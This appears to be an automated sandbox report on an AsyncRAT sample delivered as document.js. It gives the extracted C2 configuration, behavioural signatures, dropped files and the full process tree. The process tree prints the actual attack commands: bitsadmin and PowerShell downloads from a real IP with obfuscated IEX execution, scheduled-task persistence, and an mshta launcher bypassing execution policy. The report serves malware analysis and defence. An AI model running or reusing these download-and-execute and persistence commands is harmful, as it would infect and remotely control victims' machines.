Analysis

  • max time kernel
    119s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230221-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230221-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/03/2023, 16:31

General

  • Target
    document.js
  • Size 12KB
  • Sample230327-t1g8csgd21
  • SHA256 a1b2dc89cf53829809078cfa4961df67321fdb9323fe9f10b310120d6b9aab5a
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • asyncrat

Version
  • | Edit 3LOSH RAT

Botnet
  • Default

C2
  • xxxprofxxx.dnsdojo.com:5126

Mutex
  • AsyncMutex_6SI8OkPnk

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\document.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4568
    • C:\Windows\System32\bitsadmin.exe
      "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://185.252.178.121:222/no.txt C:\Users\Admin\AppData\Local\Temp\emp
      2⤵
      • Download via BitsAdmin
      PID:448
    • C:\Windows\System32\wscript.exe
      "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\emp
      2⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3940
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} http://185.252.178.121:222/note.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4444
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /sc minute /mo 2 /tn Screenshot /tr C:\ProgramData\Document\Screenshot.vbs
          4⤵
          • Creates scheduled task(s)
          PID:5080
  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\ProgramData\Document\Screenshot.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4808
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -Command C:\ProgramData\Document\Microsoft.bat
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command C:\ProgramData\Document\Microsoft.bat
        3⤵
          PID:400
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c ""C:\ProgramData\Document\Microsoft.bat""
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:972
            • C:\Windows\system32\mshta.exe
              mshta vbscript:Execute("CreateObject(""WScript.Shell"").Run ""powe"+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+""+"rshell -Execu"+"tionP"+"olicy"+" Bypass & 'C:\ProgramData\Document\py.ps1'"", 0:close")
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:3240
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass & 'C:\ProgramData\Document\py.ps1'
                6⤵
                • Suspicious use of SetThreadContext
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3440
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  7⤵
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of SetWindowsHookEx
                  PID:3012

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          Microsoft.bat

          • Path C:\ProgramData\Document\Microsoft.bat
          • Size 272B
          • SHA256 146b6f80e49562c0e3e45295a9c78ce1f8a0460e997716103e030b5f304e1a3d
          • MD5 SHA1 SHA512

          Screenshot.vbs

          • Path C:\ProgramData\Document\Screenshot.vbs
          • Size 284B
          • SHA256 77fd082f3c8d4eb04e3617b67e677ff68b64f40f134a4c5eaddf434ff70e7fa3
          • MD5 SHA1 SHA512

          py.ps1

          • Path C:\ProgramData\Document\py.ps1
          • Size 203KB
          • SHA256 3de56e5744abaa936bd4b1be851b79afa588efc31fb91f8bc3a9e94b033521a6
          • MD5 SHA1 SHA512 SSDEEP

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 3KB
          • SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
          • MD5 SHA1 SHA512

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 27a3015931d1f72ce982cf8f9d38dc99219ea2bb9bda4ec7b09dca9bd1122e9e
          • MD5 SHA1 SHA512

          __PSScriptPolicyTest_vi3nc0cd.kmr.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vi3nc0cd.kmr.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/3012-179-0x0000000005A90000-0x0000000006034000-memory.dmp

          memory/3012-176-0x0000000000400000-0x0000000000414000-memory.dmp

          memory/3012-184-0x0000000001030000-0x0000000001040000-memory.dmp

          memory/3012-183-0x0000000006180000-0x00000000061E6000-memory.dmp

          memory/3012-182-0x0000000006220000-0x00000000062BC000-memory.dmp

          memory/3012-181-0x00000000056B0000-0x00000000056BA000-memory.dmp

          memory/3012-180-0x00000000056C0000-0x0000000005752000-memory.dmp

          memory/3012-178-0x0000000001030000-0x0000000001040000-memory.dmp

          memory/3440-175-0x000002894AE90000-0x000002894AEA0000-memory.dmp

          memory/3440-174-0x000002894AE90000-0x000002894AEA0000-memory.dmp

          memory/3440-173-0x000002894AE90000-0x000002894AEA0000-memory.dmp

          memory/4444-154-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

          memory/4444-133-0x000001ED50700000-0x000001ED50722000-memory.dmp

          memory/4444-143-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

          memory/4444-144-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

          memory/4444-145-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

          memory/4444-152-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp

          memory/4444-153-0x000001ED4FE10000-0x000001ED4FE20000-memory.dmp